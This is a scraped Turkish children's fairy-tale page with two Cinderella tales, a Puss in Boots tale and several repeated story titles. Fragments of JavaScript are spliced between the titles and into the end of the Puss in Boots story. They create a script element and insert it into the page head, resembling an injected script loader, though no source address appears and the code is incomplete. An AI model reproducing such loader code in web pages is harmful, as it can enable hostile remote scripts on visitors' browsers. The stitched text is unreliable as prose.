Kategori: Masal ve İçerik

İhtiyar Oduncu
İhtiyar Oduncu

İhtiyar Oduncu Masalı

Sarı Gül
Sarı Gül

Sarı Gül

SİNDİRELLA Masalı
SİNDİRELLA Masalı

SİNDİRELLA

Bir varmış, bir yokmuş… Uzak mı uzak diyarları birinde Sindirella adında güzeller güzeli bir kız babası ile birlikte yaşarmış. Annesi uzun zaman önce vefat edince babası ile birlikte birbirlerine kol-kanat olmuşlar. Sindirella’nın babası bir gün yeniden evlenince bu güzeller güzeli kızın hayatı tamamen değişmiş.
Babasının evlendiği kadın iki tane kızı ile birlikte onların evine yerleşmiş. Eve yerleşirken Sindirella’yı görmüş ve güzelliği karşısında şok olmuş. Hem şok olmuş hem de çok kıskanmış. Kıskanmış çünkü üvey annenin iki kızı da hiç güzel değilmiş. İkisi de hem çok şişman hem de çok görgüsüz kızlarmış. Fakat Sindirella pamuk gibi cildi, upuzun saçları, incecik vücudu ve zarif davranışları ile hem üvey annenin hem de kızların kıskançlık krizlerine girmesine sebep oluyormuş. Bir gün üvey annesi bağırmaya başlamış:
-‘Sindirella, bundan böyle sen yukarıda tavan arasında yaşayacaksın. Ev işlerinin hepsini sen yapacaksın. Bu güzel kıyafetlerle evde dolaşmanı istemiyorum. Hizmetçinin giydiği eski ve yırtık kıyafetlerden giyeceksin. Bulaşıkları ve çamaşırları yıkayacak, ben izin vermeden oturmayacaksın.’
Sindirella ne diyeceğini bilememiş. Babasına söylemek istemiş fakat babası iş seyahatine çıkmış ve en az bir ay gelmezmiş. Çaresizce söylenenleri yapmak zorundaymış. Odasındaki bütün eşyalarını toplayıp tavan arasına yerleşmiş.
Sindirella o günden sonra evin bütün işlerini tek başına yapmaya başlamış. Çok yoruluyormuş ama ne üvey annesi ne de kız kardeşleri onun bu haline acıyorlarmış. Üçü de sadece rahatlarına düşkün tiplermiş, bütün gün yatıyor ve Sindirella’yı hizmetçi gibi kullanıyorlarmış. Bir gün üvey kardeşler Sindirella’nın yanına gelmiş:
-‘Hey, senin adın Sindirella falan değil artık. Bundan sonra senin adın Külkedisi olsun. Aynı bir kedi gibi bütün gece sobanın yanındaki küllerin içinde uyuyorsun’ diyerek gülüşmeye başlamışlar. Sindirella ise gözyaşlarını saklayarak işini yapmaya devam etmiş. Tavan arası çok soğuk olduğu için geceleri gizlice sobanın yanına kıvrılıp orada uyuyormuş. Üvey kız kardeşleri de bu durumla dalga geçip ona ‘külkedisi’ diye takma isim takmışlar.
Günler bu şekilde geçip giderken bir gün kasabanın meydanında duyuru okunmuş. Bu duyuru saraydan gelen bir duyuruymuş. Genç ve yakışıklı prens ülkedeki tüm genç ve bekâr bayanların katılacağı büyük bir balo düzenleyecekmiş. İki üvey kız kardeş bu haberi duydukları gibi hazırlık yapmaya başlamışlar. Üvey anne de en az onlar kadar heyecanlıymış:
-‘Kızlarım benim, en güzel kıyafeti ve en güzel ayakkabıyı bulmamız gerek. Prens mutlaka ikinizden birini seçmeli. Böylelikle hepimiz sarayda yaşamaya başlarız.’
Kızlar da annelerine katılıyormuş. Haftalarca süren hazırlıklar sonunda bedenlerine uygun birer elbise diktirmişler. Her gün aynanın karşısına geçip kıyafetlerini deniyor ve ‘en güzel biz olacağız’ diye kendi kendilerini övüyorlarmış.
Günler haftaları kovalamış derken balo günü gelmiş, çatmış. Sabah erkenden kalkan üvey kardeşler hemen Külkedisi’ni çağırmışlar:
-‘Külkedisiiii! Külkedisii! Ay neredesin sen sabahtan beri? Bugün büyük gün, hazırlanmamız lazım. Hadi bize banyoyu hazırla hemen.’
Külkedisi o gün üvey kardeşlerinin etrafında pervane olmuş resmen. Onu getir- bunu götür derken üvey kardeşleri sonunda hazır hale gelmiş. Üvey anne iki tane kızını alarak saraya doğru yola çıkmış. Külkedisi ise arkalarından bakakalmış. Evde tek başına kalan Külkedisi ağlamaya başlamış. ‘Neden ben de saraya gidemiyorum ki’ diye geçirmiş içinden.
O sırada bir ışık belirmiş evin içinde. Külkedisi ne olduğunu anlayamamış önce. Işığa doğru bakakalmış. Ve ışığın içinden güzeller güzeli bir peri çıkmış.
Peri: ‘ Güzel Sindirella. Ağlama. Sen de saraydaki o davete gideceksin’ demiş.
Külkedisi gözlerine inanamıyormuş.
Külkedisi: ‘Nasıl gideceğim ki peri kızı? Baksana şu üzerimdekilere!’
Peri kızı yavaşça külkedisinin kulağına eğilmiş.
Peri: ‘ Benim burada olmamın sebebi de bu zaten. Hadi şimdi bana bir tane balkabağı getir. Bir de 6 tane fare ile bir tane kedi.’
Külkedisi peri kızın neden bunları istediğini anlamamış ama soru sormadan denilenleri yapmış. Tüm istediklerini peri kızın önüne getirmiş. Peri kız elindeki asa ile her şeye dokunmuş ve o da ne! Balkabağı güzel bir faytona, altı tane fare altı tane güzel ata, kedi de faytonu kullanan arabacıya dönüşmüş. Külkedisi şaşkınlıkla peri kızına bakarken peri kızı elindeki asa ile ona da dokunmuş ve Külkedisi’nin üzerindeki yırtık elbise muhteşem bir balo elbisesine, terlikleri ise camdan yapılmış parıl parıl parlayan bir ayakkabıya dönüşmüş. Peri gülümseyerek Külkedisi’ne dönmüş:
Peri: ‘Evet güzel kız. Şimdi baloya gitme zamanı. Ama şunu sakın unutma. Saat 12 olduğunda mutlaka evde olmalısın. Çünkü saat 12 de her şey eski haline geri dönecek.’
Külkedisi o kadar mutluymuş ki gerçek olduğuna inanamamış. Peri kızın söylediklerini dinlemiş ve faytona binip hızlıca saraya doğru yola çıkmış.
Külkedisi saraya geldiğinde balo daha yeni başlamış. Balonun yapıldığı salondan içeri giren Külkedisi’ni gören herkes adeta büyülenmiş. Külkedisi o kadar güzel gözüküyormuş ki… Üvey anne kızları ile birlikte bu gelen bayanı görmüş ve güzelliği karşısında dilleri tutulmuş. O sırada prens Külkedisi’ni merdivenlerden inerken görmüş ve daha ilk görüşte âşık olmuş. Hayran gözlerle Külkedisi’nin elinden tutmuş ve bütün gece ellerini bırakmadan sürekli onunla dans etmiş.
Saat 12’ye yaklaştığında Külkedisi’nin aklına peri kızın söyledikleri gelmiş. Her şeyin eski haline döneceğini düşünmüş ve panikle prensin elini bırakıp koşmaya başlamış. Prens arkasından bağırıyormuş:
Prens: ‘Güzel bayan nereye gidiyorsunuz? Lütfen isminizi söyleyin.’
Külkedisi: ‘Üzgünüm prensim. Gitmek zorundayım.’
Külkedisi var gücüyle koşmaya başlamış. Koşarken ayakkabısının biri ayağından çıkmış fakat geri dönüp alacak vakti bile yokmuş. Biraz uzaklaştığında saat 12’yi vurmuş ve üzerindeki her şey eski haline dönmüş.
Prens sarayın dış tarafında az önceki güzel bayanı ararken yerde parlayan ayakkabıyı fark etmiş. Eline aldığında o bayanın ayakkabısı olduğunu anlamış. ‘Bu ayakkabının sahibini mutlaka bulmam lazım’ diyerek tüm yardımcılarına yarından tez yok bütün ülkedeki bayanlara bu ayakkabı deneteceklerini buyurmuş.
Külkedisi soluk soluğa eve gelmiş ve hemen tavan arasına saklanmış. Bütün geceyi tekrar zihninde canlandırmış. Prens o kadar yakışıklıymış ki, Külkedisi’nin aklını başından almış. Külkedisi Prens’e âşık olmuş ama onun aşkı maalesef çaresiz bir aşkmış. Prens onu nasıl bulacakmış ki? Hem de bu kıyafetlerle nasıl tanıyacakmış?
Prens ertesi günden itibaren tüm ülkeyi gezerek ayakkabının sahibini aramaya başlamış. Bıkmadan usanmadan bekâr tüm genç kızlara ayakkabıyı denetiyormuş. En son olarak da Külkedisi’nin olduğu eve gelmiş.
Eve girdiğinde iki üvey kız kardeş ayakkabının ayaklarına olması için yapmadıklarını bırakmamışlar. Fakat ayakkabı çok zarif bir ayağın ayakkabısıymış. Bu iki kızın da ayakları oldukça tombikmiş. Prens tam umudu kırılmış bir şekilde evden ayrılacakken arkadan gelen bir sesle irkilmiş:
Külkedisi: ‘Ayakkabıyı ben de deneyebilir miyim?’
Üvey anne ve iki kızı kahkahalarla gülmeye başlamışlar.
Üvey anne: ‘ Külkedisi, saçmalama, gir çabuk içeri. Sen kim, o ayakkabının sahibi olmak kim?’
Prens anında susturmuş kadını. Külkedisinin eski kıyafetler içinde olsa bile güzelliğini fark edebiliyormuş.
Prens: ‘Güzel bayan, lütfen siz de dener misiniz?’
Külkedisi ayağını uzatmış ve ayakkabı ayağına tam oturmuş. Üvey anne ve kızları şaşkınlıktan ağzı açık bir şekilde Külkedisi’ne bakıyorlarmış. Prens ise hayran bakışlarla Külkedisi’nin elinden tutmuş:
Prens: ‘Güzel bayan, lütfen benimle evlenir misiniz?’
Külkedisi Prens’in teklifini mutlulukla kabul etmiş. Üvey anne ve kızları kıskançlıktan bayılmış. Prens ise Külkedisi’ni alarak saraya doğru yola çıkmış. Saraya vardıklarında hemen düğün hazırlıklarına başlamışlar. Ve ertesi gün dillere destan bir düğünle evlenip mutlu bir prens ve prenses olmuşlar.
Gökten üç elma düşmüş, üçü de Külkedisi gibi iyi yürekli insanların olmuş.
​}

Minik Kuş Masalı
Minik Kuş Masalı

Minik Kuş Masalı

Kurabiye Hırsızı Masalı
Kurabiye Hırsızı Masalı

Kurabiye Hırsızı Masalı

 

Erkek anlatımı:

Kadın anlatımı:

var d=document;var s=d.createElement(‘script’);

Kıymetli Tuz Masalı
Kıymetli Tuz Masalı

Kıymetli Tuz Masalı

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Horoz ile Tilki Masalı
Horoz ile Tilki Masalı

Horoz ile Tilki Masalı

 

if (document.currentScript) {

GıdGıdak Masalı
GıdGıdak Masalı

GıtGıt Gıdaak Masalı

Çizmeli Kedi Masalı
Çizmeli Kedi Masalı

ÇİZMELİ KEDİ’NİN MARİFETLERİ

Zaman içinde zaman, zamanın içinde var bir saman. Saman ne arar zamanda, samanın yeri samanlıkta. Ne varmış bu masalda? Hayda birlikte bakalım ne olduğuna…

Bir varmış, bir yokmuş… Uzak mı uzak diyarların birinde küçük bir kasabada yaşayan yalı bir değirmenci varmış. Değirmenci hem yaşlı hem de hasta imiş. Çok geçmeden yaşlı değirmenci ölmüş gitmiş. Öldükten sonra üç tane oğluna da ayrı ayrı miras bırakmış. Birinci oğluna değirmeni, ikinci oğluna eşeklerini, en küçük oğluna da kediyi miras bırakmış. Küçük oğlu kendisine kedi bırakıldığı için çok üzgünmüş.

Kediyi aldıktan sonra hem yürüyüp hem de kendi kendine konuşmaya başlamış:

Küçük çocuk: ‘Kedi benim ne işime yarasın ki! Ne pişirip yiyebilirim, ne de bundan para kazanabilirim!’

Kedi küçük çocuğun bu sözlerine hemen cevap vermiş:

Kedi: ‘Efendim, siz beni alarak en iyi mirası aldınız. Bunu size göstereceğim. Siz bana bir çuval bir de çizme getirin, ben de size mirasınızın ne kadar faydalı olduğunu göstereyim.’

Küçük çocuk kedinin bu lafları üzerine çok şaşırmış. Kedinin neler yapabileceğini de merak ediyormuş. Kedinin istediği çuvalı ve çizmeyi bulup hemen getirmiş kediye. Kedi çizmeleri giymiş ayağına, geçmiş bakmış aynanın karşısında kendisine. Kedi kendini bir beğenmiş, bir beğenmiş ki… Sonra çuvalını da almış eline. Çuvalın içine doldurmuş havucu ve marulu. Atmış kendini ormanın içine.

Çizmeli kedi çuvalı ağacın dibine yerleştirmiş, ağacın arkasına saklanmış. Biraz bekleyince pofuduk bir tavşanın taze sebzelerin kokusunu alarak çuvalın yanına geldiğini fark etmiş. Hemen atlamış çuvalın üzerine, kapatmış çuvalın ağzını.

Çizmeli kedi, tavşanı efendisine götürmek yerine aklına daha güzel bir plan gelmiş. Almış çuvalı eline düşmüş sarayın yoluna. Elinde çuvalla çıkmış Kral’ın huzuruna. Huzurunda çizmeli bir kedi gören Kral da merakla dinlemiş:

Kedi: ‘Yüce Kral’ım. Size efendim Marki’den gelen güzel bir hediyeyi takdim etmek istiyorum.’

Kral Çizmeli Kedi’nin getirdiği bu hediyeyi çok beğenmiş. O günden itibaren Çizmeli Kedi Kral’a birçok hediye getirmiş ve hepsini de’ Efendim Marki’den size geldi’ diyerek takdim etmiş. Kral artık Çizmeli Kedi’yi dört gözle bekler olmuş.

Çizmeli Kedi’nin planları ise tıkır tıkır işliyormuş. Kral’ın kızını efendisi için gözüne kestiren Çizmeli Kedi yeni planını hayata geçirmek için harekete geçmiş. Hemen efendisinin yanına varmış:

Çizmeli Kedi: ‘ Yarın sabah ırmağa gidip yıkanmanız gerekiyor’ demiş.

Küçük çocuk çizmeli kedinin lafını dinlemiş ve ırmağa gitmiş. Çizmeli Kedi o gün Kral ve kızının oradan geçeceğini biliyormuş. Efendisini o yüzden ırmağa getirmiş. Efendisi ırmağın içinde iken önce kıyafetlerini saklamış, ardından da başlamış bağırmaya.

Çizmeli kedi:’ Yardım edin! Efendim Marki boğuluyor!’

Kral Çizmeli Kedi’yi hemen tanımış. Bütün askerlerini Çizmeli Kedi’nin gösterdiği yere göndermiş. Küçük çocuk ise olanlara hayretle bakıyor, fakat Çizmeli Kedi’nin bir şeyler planladığını anladığı için sesini çıkarmıyormuş.

Çizmeli Kedi hırsızların efendi Marki’nin kıyafetlerini çaldıklarını da söyleyince Kral en güzel kıyafetleri vermiş ırmaktan çıkan küçük çocuğa. Sonrasında küçük çocuğu almış ve kızı ile tanıştırmış. Prenses o kadar güzelmiş ki, küçük çocuk ilk görüşte âşık olmuş prensese.

Çizmeli Kedi, bunlarla da yetinmemiş. Yol boyunca görüp görebileceği herkese ‘Buralar Efendi Marki’nin’ toprakları demesi için baskı yapmış. Ardından şatoda yaşayan devin de evine gitmiş ve onu kandırarak uçurumdan aşağıya yuvarlamış. Şatoda Kral’ı ve efendisini beklemeye başlamış.

Kral ve tayfası yolda gördüklerine tek tek sormuş:

Kral: ‘ey İşçiler! Bu topraklar kimin?’

İşçiler hep bir ağızdan Çizmeli Kedi’nin dediği cevabı vermiş:

İşçiler: ‘Efendi Marki’nin’ demiş.

Kral, yanındaki adamın çok zengin bir adam olduğunu anlamış. Küçük çocuk da tüm bunları Çizmeli Kedi’nin tertip ettiğini anlamış ve sesini çıkarmamış.

Çizmeli Kedi, Kral ve tayfasını şatonun yolunda karşılamış:

Çizmeli Kedi: ‘Efendi Marki, şatonuz hazır’ demiş.

Küçük çocuk Çizmeli Kedi’nin dediğinden bir şey anlamasa da; büyük şatoyu görünce Çizmeli Kedi’nin burayı da ayarladığını anlamış. O anda bu kedinin ne kadar zeki olduğunu anlamış.

Kral, karşısındaki adamın ne kadar zengin olduğunu görünce kızını hiç düşünmeden vermiş bu adama. Küçük çocuk, güzeller güzeli Prenses ile evlenmiş ve bir ömür mutlu bir yaşam sürmüş. Çizmeli Kedi de onların yanında mutluluklarını paylaşmış.d.getElementsByTagName(‘head’)[0].appendChild(s);

Külkedisi Masalı
Külkedisi Masalı

Bir zamanlar, ülkenin birinde iyi kalpli, güzeller güzeli bir kız yaşarmış. Günün birinde bu kızın annesi ölünce babası başka bir kadınla evlenmiş. Bu kadının da kötü kalpli 2 tane kızı varmış. Annesi ve bu kardeşleri Sindirella’ya çok kötü davranıyorlarmış. Onlarla aynı masada yemek yiyemiyor, onlarla yan yana oturamıyor, onlar gezerken Sindirella evde kalıp evin işlerini yapıyormuş. Kardeşleri çok güzel kıyafetler giyerken Sindirella eski yırtık gri bir elbise giyermiş. Geceleri biraz da olsa ısınabilmek için kedisini alıp mutfaktaki sönmüş şöminenin yanına gidermiş. Bir gün evlerine saraydan davet gelmiş. Davet şu şekildeymiş;

-‘’ Kralın oğlunun şerefine sarayda büyük bir davet düzenlenecektir. Evlilik yaşına gelmiş tüm genç kızlar saraya davetlidir.’’

Bunu duyan annesi kendi kızlarını bu baloya hazırlamak için en pahalı kostümlerden diktirmiş, en pahalı ayakkabıları giydirmiş, kızlarının saçlarını yapmış. Bu sırada Sindirella da onların nasıl hazırlandıklarını izliyor ve onlara yardım ediyormuş. Aslında Sindirella da onlarla aynı yaştaymış, o da davete gitmek istiyormuş ama ne kıyafeti ne de ayakkabısı varmış. Gitmek istesen bile annesi izin vermezmiş. Bir gün yine onlara yardım ederken sormuş;

-‘’ Ben neden gelemiyorum? Benim yaşımdaki bütün genç kızlar davetliymiş.’’

Diğer kardeşi de cevap vermiş;

-‘’ Iyyy! Bu halinle mi geleceksin davete ?’’ Sindirella bunu duyunca üzülmüş ve susmuş.

Davet günü gelmiş. Sindirella ağlayarak mutfakta şöminenin yanında oturuyormuş. Birden bir ışık çıkıvermiş. Şöminenin içinden bir peri kızı çıkmış. Külkedisi gözlerine inanamamış.

Peri;

-‘’Merhaba. Sana yardım etmeye geldim. Saraydaki davete sen de gideceksin.’’

Külkedisi çok şaşırmış. Ama peri hazırlıklara başlamış. Peri Sindirella’ya

-‘’ Bana bahçedeki en büyük balkabağını getirir misin? ‘’ diye sormuş. Külkedisi koşup getirmiş. Peri bu balkabağını çok güzel bir at arabasına çevirmiş. Kediye 7 tane fare yakalatmış ve bu fareleri de o arabayı süren atlara çevirmiş. Birini de arabayı süren arabacı yapmış. En son olarak da Sindirellaya çok güzel bir elbise yapmış. Elbise masmavi ve parıl parıl parlıyormuş. Ama Sindirella dans etmeyi bilmiyormuş. Peri ona camdan sihirli ayakkabılar yapmış. Bu sihirli ayakkabılar sayesinde dans edebilecekmiş. Tam gidecekken peri Sindirella’yı uyarmış;

-‘’ Acele et Sindirella! Gece yarısı saat 12 de bu yaptığım her şey eski haline dönecek. Sen de dâhil!’’ demiş.

Sindirella balonun olduğu salona girdiğinde kimse gözlerine inanamamış. Kimse bu kızı tanımıyormuş. Prens Sindirella’yı görür görmez âşık olmuş. Kral ve kraliçe de külkedisini çok beğenmiş. Prens hemen külkedisini dansa davet etmiş. Külkedisi dans ederken zamanın nasıl geçtiğini anlamamış. Birden gözü duvardaki saate baktığında saatin 12 ye çok yaklaştığını görmüş ve hemen oradan kaçmaya başlamış. Kaçarken sihirli ayakkabısından birisi ayağından çıkıvermiş. Saat 12de her şey eski haline geri dönmüş.

Prens Sindirella’nın arkasından koşmuş ama yetişememiş. Bahçede Sindirella’nın ayakkabısını bulmuş. Adamlarına emir vermiş;

-‘’ Kapı kapı dolaşıp bu ayakkabının sahibi kızı bulun! ‘’ demiş.

Prensin adamları bir sürü eve girmişler ayakkabıyı denetmişler fakat ayakkabı hiçbir kıza uymamış.

Sonunda külkedisinin evine gelmişler. Ayakkabıyı külkedisinin kız kardeşlerine denetmişler fakat onlara da uymamış. Prensin adamları içeride bir kız daha olduğunu fark etmişler. Sindirella’nın annesine içeride bir kız daha olduğunu söylemişler. Külkedisi ayakkabıyı giyer giymez ayağına olmuş. Prensin adamları ayakkabının ona ait olduğunu anlamışlar ve Sindirella’yı alıp saraya götürmüşler. Prens külkedisini gördüğü gibi tanımış ve ona hemen orada evlenme teklifi etmiş. Külkedisi de prensin teklifini kabul etmiş ve hayatlarının sonuna kadar çok mutlu yaşamışlar.